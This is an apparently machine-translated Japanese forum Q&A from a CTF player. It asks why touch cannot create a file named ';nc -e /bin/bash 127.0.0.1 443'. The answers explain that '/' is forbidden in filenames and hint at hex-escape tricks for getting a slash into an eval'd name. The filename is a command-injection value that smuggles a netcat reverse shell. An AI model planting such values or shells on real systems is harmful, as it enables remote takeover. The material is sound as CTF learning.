CTFでプレイしていて、touchコマンドを使用して名前付きファイルを作成したいが;nc -e /bin/bash 127.0.0.1 443
失敗します。
問題なくというファイルを作成し、次;nc -e 127.0.0.1 443
の内容を作成できます。touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3
/bin/bash
touch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3
touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory
私は何が間違っていましたか?
答え1
Unixのファイル名は/
パス区切り文字なので、この文字を含めることはできません。
パス名
;nc -e /bin/bash 127.0.0.1 443
bash 127.0.0.1 443
bin
のサブディレクトリであるディレクトリから呼び出されたファイルを参照します;nc -e
(末尾にスペースがあります)。
この/
文字は、Unixファイル名には許可されていない2つの文字のうちの1つです。もう1つはNULL文字(ASCII 0または\0
)です。 nul 文字は文字列終端文字なので、ファイル名には許可されません。
また、必須シンボルをエスケープするよりも複雑なファイル名を一重引用符で囲む方が簡単です。
touch ';nc -e 127.0.0.1 443'
答え2
;nc -e /bin/bash 127.0.0.1 443
touchコマンドを使用して次のファイルを作成したいと思います。
ファイル名はeval
別のスクリプトの一部ですか?
$'...'
この場合、参考資料や役に立つprintf
フォームを見つける必要があるかもしれません。
$ echo $'\x2fbin\x2fbash'
/bin/bash
$ printf "\x2fbin\x2fbash"
/bin/bash
それでは、ファイル名にそれを使用する方法を学ぶための練習として残しましょう。